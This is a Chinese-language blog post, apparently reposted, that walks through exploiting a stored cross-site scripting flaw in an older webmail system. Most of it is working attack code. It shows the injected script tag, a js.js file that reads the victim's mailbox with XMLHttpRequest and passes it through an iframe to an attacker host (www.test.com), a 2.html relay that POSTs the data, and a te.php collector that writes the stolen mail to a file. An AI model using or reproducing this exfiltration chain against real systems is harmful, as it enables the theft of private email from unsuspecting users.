本文试着从一个攻击的角度,对#邮旧版本系统中的一处持久跨站进行测试利用。寻找跨站漏洞,方法一般比较简单:在网页数据交互的地方,测试过滤字符。此关键字符“’’;:!—“=&#{()}/”,当然也可以用谷哥提供的审计XSS工具RatProxy进行测试了。

漏洞描述
在#邮系统,好像其版本标注的是Copyright © 1999 – 2007,新写邮件点击源文件编辑:
输入

<body><script>alert(/xss/)</script>
</body>

,点击发送邮件,在接受此邮件时,即有弹框。

当然在利用此漏洞时,我们需要远程引用一个JS文件了。修改代码如下:

<body><script src=”http://www.test.com/js.js”> /xss/</script> 
</body>

就可以远程调JS文件。

漏洞利用:
此次漏洞利用流程,利用javascript的XMLHttpRequest对邮件内容读取提交。
当用户点击含有恶意代码的邮件时,就执行了插好的JS文件,此文件的作用是:利用当前用户的权限读取所有邮件内容,通过远程调用http://www.text.com/2.html文件进行邮件内容远程提交,达到阅读到受攻击用户的所有邮件内容。实现代码如下:
js.js 【读取所有邮件内容 远程调用2.html】

if (typeof XMLHttpRequest == "undefined" && window.ActiveXObject) {
 
    function XMLHttpRequest() {
 
        var arrSignatures = ["MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0",
                             "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP",
                             "Microsoft.XMLHTTP"];
 
        for (var i=0; i < arrSignatures.length; i++) {
            try {
 
                var oRequest = new ActiveXObject(arrSignatures[i]);
 
                return oRequest;
 
            } catch (oError) {
                //ignore
            }
        }          
 
        throw new Error("MSXML is not installed on your system.");               
    }
}
 
 
 function getServerInfo1() {
                        var oRequest = new XMLHttpRequest();
                        oRequest.open("get", "http://www.邮件地址.com", false);
                        oRequest.send(null);
 
                        return oRequest.responseText;
 
                }
 
 
var info=getServerInfo1(); 
document.write ("<iframe src="http://www.test.com/2.html#"+escape(info)+"">< /iframe>");

2.html 【提交数据】

<html> 
<head> 
<title>数据提交</title> 
</head> 
<body> 
<script language="javascript"> 
 
 
var bXmlHttpSupport = (typeof XMLHttpRequest == "object" || window.ActiveXObject);
 
function httpPost(sURL, sParams) {
 
    var oURL = new java.net.URL(sURL);
    var oConnection = oURL.openConnection();
 
    oConnection.setDoInput(true);
    oConnection.setDoOutput(true);
    oConnection.setUseCaches(false);                
    oConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");                
 
    var oOutput = new java.io.DataOutputStream(oConnection.getOutputStream());
    oOutput.writeBytes(sParams);
    oOutput.flush();
    oOutput.close();
 
    var sLine = "", sResponseText = "";
 
    var oInput = new java.io.DataInputStream(oConnection.getInputStream());                                
    sLine = oInput.readLine();
 
    while (sLine != null){                                
        sResponseText += sLine + "n";
        sLine = oInput.readLine();
    }
 
    oInput.close();                                  
 
    return sResponseText;                         
}
 
function addPostParam(sParams, sParamName, sParamValue) {
    if (sParams.length > 0) {
        sParams += "&";
    }
    return sParams + encodeURIComponent(sParamName) + "=" 
                   + encodeURIComponent(sParamValue);
}
 
function addURLParam(sURL, sParamName, sParamValue) {
    sURL += (sURL.indexOf("?") == -1 ? "?" : "&");
    sURL += encodeURIComponent(sParamName) + "=" + encodeURIComponent(sParamValue);
    return sURL;   
}
 
 
if (typeof XMLHttpRequest == "undefined" && window.ActiveXObject) {
 
    function XMLHttpRequest() {
 
        var arrSignatures = ["MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0",
                             "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP",
                             "Microsoft.XMLHTTP"];
 
        for (var i=0; i < arrSignatures.length; i++) {
            try {
 
                var oRequest = new ActiveXObject(arrSignatures[i]);
 
                return oRequest;
 
            } catch (oError) {
                //ignore
            }
        }          
 
        throw new Error("MSXML is not installed on your system.");               
    }
}
 
 
var Http = new Object;
 
 
 
Http.post = function (sURL, sParams, fnCallback) {
 
    if (bXmlHttpSupport) {
 
        var oRequest = new XMLHttpRequest();
        oRequest.open("post", sURL, true);
        oRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        oRequest.onreadystatechange = function () {
            if (oRequest.readyState == 4) {
                fnCallback(oRequest.responseText);
            }
        }
        oRequest.send(sParams);    
 
    } else if (navigator.javaEnabled() && typeof java != "undefined" 
            && typeof java.net != "undefined") {
 
        setTimeout(function () {
            fnCallback(httpPost(sURL, sParams));
        }, 10);
    } else {
        alert("Your browser doesn't support HTTP requests.");
    }          
 
};  
 
  function getServerInfo(data) {
                    var sURL = "http://www.test.com/te.php";
                    var sParams = "";
                    sParams = addPostParam(sParams, "name", data);
                    sParams = addPostParam(sParams, "book", "Professional JavaScript");
 
                    Http.post(sURL, sParams, function (sData) {
                        alert("Data from server: " + sData);
                    });
 
                }
 
 
 var h = location.hash; 
var a = h.split("#"); 
var b = unescape(a[ a.length-1]); 
 
getServerInfo(b); 
 
 
 
 
 
 
</script> 
</script></body> 
</html>

te.php 【获取提交数据 写入文件】

< ?php
 
 
$filename = 'test.txt';
 
$somecontent=$_POST["name"];
 
 
if (is_writable($filename)) {
 
 
    if (!$handle = fopen($filename, 'a')) {
         print "不能打开文件 $filename";
         exit;
    }
 
 
    if (!fwrite($handle, $somecontent)) {
        print "不能写入到文件 $filename";
        exit;
    }
 
    print "成功地将 $somecontent 写入到文件$filename";
 
    fclose($handle);
 
} else {
    print "文件 $filename 不可写";
}
 
 
 
 
 
 
?>

一个邮箱的持久性跨站,就能带来用户的邮件信息的泄露,当然还有别的利用方法。

: http://www.nuanyue.com/%e6%b5%85%e8%b0%88%e9%82%ae%e7%ae%b1%e6%8c%81%e4%b9%85%e6%80%a7%e8%b7%a8%e7%ab%99%e7%9a%84%e5%88%a9%e7%94%a8.html

  • No Related Post

本文相关评论 - 1条评论都没有呢

还没有任何评论。